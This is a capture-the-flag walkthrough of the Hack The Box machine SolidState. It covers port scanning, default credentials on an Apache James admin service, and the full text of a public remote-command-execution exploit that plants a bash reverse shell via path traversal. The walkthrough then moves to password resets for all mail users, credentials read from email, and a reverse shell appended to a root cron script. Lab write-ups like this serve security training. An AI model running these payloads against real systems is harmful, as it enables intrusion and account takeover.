Published on

HTB SolidState

Authors

SolidState

Enumeration

nmap all ports, full enumerate

nmap -p- -sV -A <ip> --open -o full-enumerate.nmap

└─$ nmap -p- -sV -A $IP --open -o full-enumerate.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-22 16:58 EDT
Nmap scan report for 10.129.159.187
Host is up (0.028s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp  open  pop3?
119/tcp  open  nntp?
4555/tcp open  rsip?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 380.60 seconds

nmap (all identified TCP ports + default scripts & service versions)

nmap -p <1,2,3> -sV --script default --script http-methods --script http-headers <ip> -o <ip>-identified-ports.nmap

└─$ nmap -p 22,25,80,110,119,4555 -sV --script default --script http-methods --script http-headers $IP -o identified-ports.nmap                                                        130Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-22 17:06 EDT
Nmap scan report for 10.129.159.187
Host is up (0.062s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
| http-headers: 
|   Date: Sat, 22 Jul 2023 21:08:50 GMT
|   Server: Apache/2.4.25 (Debian)
|   Last-Modified: Sat, 23 Dec 2017 23:16:12 GMT
|   ETag: "1e60-5610a1e7a4c9b"
|   Accept-Ranges: bytes
|   Content-Length: 7776
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp  open  pop3?
119/tcp  open  nntp?
4555/tcp open  rsip?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 371.01 seconds

nmap (vuln scan)

nmap -p <1,2,3> --script vuln <ip> -o <ip>-vuln.nmap

Port Enumeration

**Port 80

****************Port 4555

telnet exposing an internal tool

  1. telnet $IP 4555
└─$ telnet $IP 4555                 
Trying 10.129.159.187...
Connected to 10.129.159.187.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
  1. Version 2.3.2! We found something
  2. searchsploit james
└─$ searchsploit james                                                                   1----------------------------------------------------------- ---------------------------------
 Exploit Title                                             |  Path
----------------------------------------------------------- ---------------------------------
Apache James Server 2.2 - SMTP Denial of Service           | multiple/dos/27915.pl
Apache James Server 2.3.2 - Insecure User Creation Arbitra | linux/remote/48130.rb
Apache James Server 2.3.2 - Remote Command Execution       | linux/remote/35513.py
Apache James Server 2.3.2 - Remote Command Execution (RCE) | linux/remote/50347.py
WheresJames Webcam Publisher Beta 2.0.0014 - Remote Buffer | windows/remote/944.c
----------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  1. 2 RCE’s, one of them says in the #comment that default credentials are <root> <root>

Exploitation

**********Port 4555

Foothold

  1. telnet $IP 4555
  2. default credentials
    1. user = root
    2. pass = root
  • searchsploit file:

    # Exploit Title: Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)
    # Date: 27/09/2021
    # Exploit Author: shinris3n
    # Vendor Homepage: http://james.apache.org/server/
    # Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
    # Version: Apache James Server 2.3.2
    # Tested on: Ubuntu
    # Info: This exploit works on default installation of Apache James Server 2.3.2
    # Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d
    
    '''
    This Python 3 implementation is based on the original (Python 2) exploit code developed by
    Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec.  The following modifications were made:
    
    1 - Made required changes to print and socket commands for Python 3 compatibility.
    1 - Changed the default payload to a basic bash reverse shell script and added a netcat option.
    2 - Changed the command line syntax to allow user input of remote ip, local ip and listener port to correspond with #2.
    3 - Added a payload that can be used for testing remote command execution and connectivity.
    4 - Added payload and listener information output based on payload selection and user input.
    5 - Added execution output clarifications and additional informational comments throughout the code.
    
    @shinris3n
    https://twitter.com/shinris3n
    https://shinris3n.github.io/
    '''
    
    #!/usr/bin/python3
    
    import socket
    import sys
    import time
    
    # credentials to James Remote Administration Tool (Default - root/root)
    user = 'root'
    pwd = 'root'
    
    if len(sys.argv) != 4:
        sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])
        sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])
        sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")
        sys.exit(1)
    
    remote_ip = sys.argv[1]
    local_ip = sys.argv[2]
    port = sys.argv[3]
    
    # Select payload prior to running script - default is a reverse shell executed upon any user logging in (i.e. via SSH)
    payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1' # basic bash reverse shell exploit executes after user login
    #payload = 'nc -e /bin/sh ' + local_ip + ' ' + port # basic netcat reverse shell
    #payload = 'echo $USER && cat /etc/passwd && ping -c 4 ' + local_ip # test remote command execution capabilities and connectivity
    #payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # proof of concept exploit on root user login only
    
    print ("[+]Payload Selected (see script for more options): ", payload)
    if '/bin/bash' in payload:
        print ("[+]Example netcat listener syntax to use after successful execution: nc -lvnp", port)
    
    def recv(s):
            s.recv(1024)
            time.sleep(0.2)
    
    try:
        print ("[+]Connecting to James Remote Administration Tool...")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((remote_ip,4555)) # Assumes James Remote Administration Tool is running on Port 4555, change if necessary.
        s.recv(1024)
        s.send((user + "\n").encode('utf-8'))
        s.recv(1024)
        s.send((pwd + "\n").encode('utf-8'))
        s.recv(1024)
        print ("[+]Creating user...")
        s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))
        s.recv(1024)
        s.send("quit\n".encode('utf-8'))
        s.close()
    
        print ("[+]Connecting to James SMTP server...")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((remote_ip,25)) # Assumes default SMTP port, change if necessary.
        s.send("ehlo team@team.pl\r\n".encode('utf-8'))
        recv(s)
        print ("[+]Sending payload...")
        s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
        recv(s)
        # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n".encode('utf-8')) if the recipient cannot be found
        s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))
        recv(s)
        s.send("data\r\n".encode('utf-8'))
        recv(s)
        s.send("From: team@team.pl\r\n".encode('utf-8'))
        s.send("\r\n".encode('utf-8'))
        s.send("'\n".encode('utf-8'))
        s.send((payload + "\n").encode('utf-8'))
        s.send("\r\n.\r\n".encode('utf-8'))
        recv(s)
        s.send("quit\r\n".encode('utf-8'))
        recv(s)
        s.close()
        print ("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).")
        if '/bin/bash' in payload:
            print ("[+]Don't forget to start a listener on port", port, "before logging in!")
    except:
        print ("Connection failed.")
    
  1. python3 50347.py <target_ip> <local_ip> <local_listener>

Result:

└─$ python3 50347.py 10.129.159.187 10.10.16.3 4455
[+]Payload Selected (see script for more options):  /bin/bash -i >& /dev/tcp/10.10.16.3/4455 0>&1
[+]Example netcat listener syntax to use after successful execution: nc -lvnp 4455
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).
[+]Don't forget to start a listener on port 4455 before logging in!
  1. telnet $IP 4555
    1. nc -lvnp 4455
  2. listusers
listusers
Existing accounts 6
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin
  1. Reset passwords for everyone cuz fuck em lol. set em all to pass
setpassword mailadmin pass
Password for mailadmin reset
setpassword mindy pass
Password for mindy reset
setpassword john pass
Password for john reset
setpassword thomas pass
Password for thomas reset
setpassword james pass
Password for james reset
  1. telnet <ip> 110
    1. USER mailadmin
    2. PASS pass
    3. LIST to see all emails
    4. retr <number> to read an email
      1. nothing here gonna check all accounts
  2. user mindy has some juice for me
retr 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,

Here are your ssh credentials to access the system. Remember to reset your password after your first login. 
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James
  1. Here we have some credentials in the 2nd email!!!

Root

  1. Checked my usual, didn’t find anything, so brought over linpeas.sh

/opt with writable permissions

  1. in /opt we have a file called tmp.py owned by root, but we can write to it.
  2. Originally, this is what the file was:
#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()
  1. So I added a reverse shell to it:
#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()
os.system('bash -c "bash -i >& /dev/tcp/10.10.16.3/4444 0>&1"')
  1. and downloaded https://github.com/DominicBreuker/pspy to see what is being executed on the machine, in case this is being executed by root somehow.
22:42:01 CMD: UID=0    PID=1104   | /usr/sbin/CRON -f 
22:42:01 CMD: UID=0    PID=1105   | /usr/sbin/CRON -f 
22:42:01 CMD: UID=0    PID=1106   | /bin/sh -c python /opt/tmp.py 
22:42:02 CMD: UID=0    PID=1107   | python /opt/tmp.py 
22:42:02 CMD: UID=0    PID=1108   | sh -c rm -r /tmp/*
22:45:01 CMD: UID=0    PID=1150   | /usr/sbin/CRON -f 
22:45:01 CMD: UID=0    PID=1151   | /usr/sbin/CRON -f 
22:45:01 CMD: UID=0    PID=1152   | /bin/sh -c python /opt/tmp.py 
22:45:01 CMD: UID=0    PID=1153   | python /opt/tmp.py 
22:45:01 CMD: UID=0    PID=1154   | sh -c rm -r /tmp/*
  1. Which it is, every ~3 minutes. Waited 3 minutes and:

Untitled


Useful resource links

Lessons Learned

  • Learned 50347.py
  • Learned how to exploit port 4555
  • Learned how to traverse port 110 through telnet
  • Executed a root owned file with user writable permissions to give me root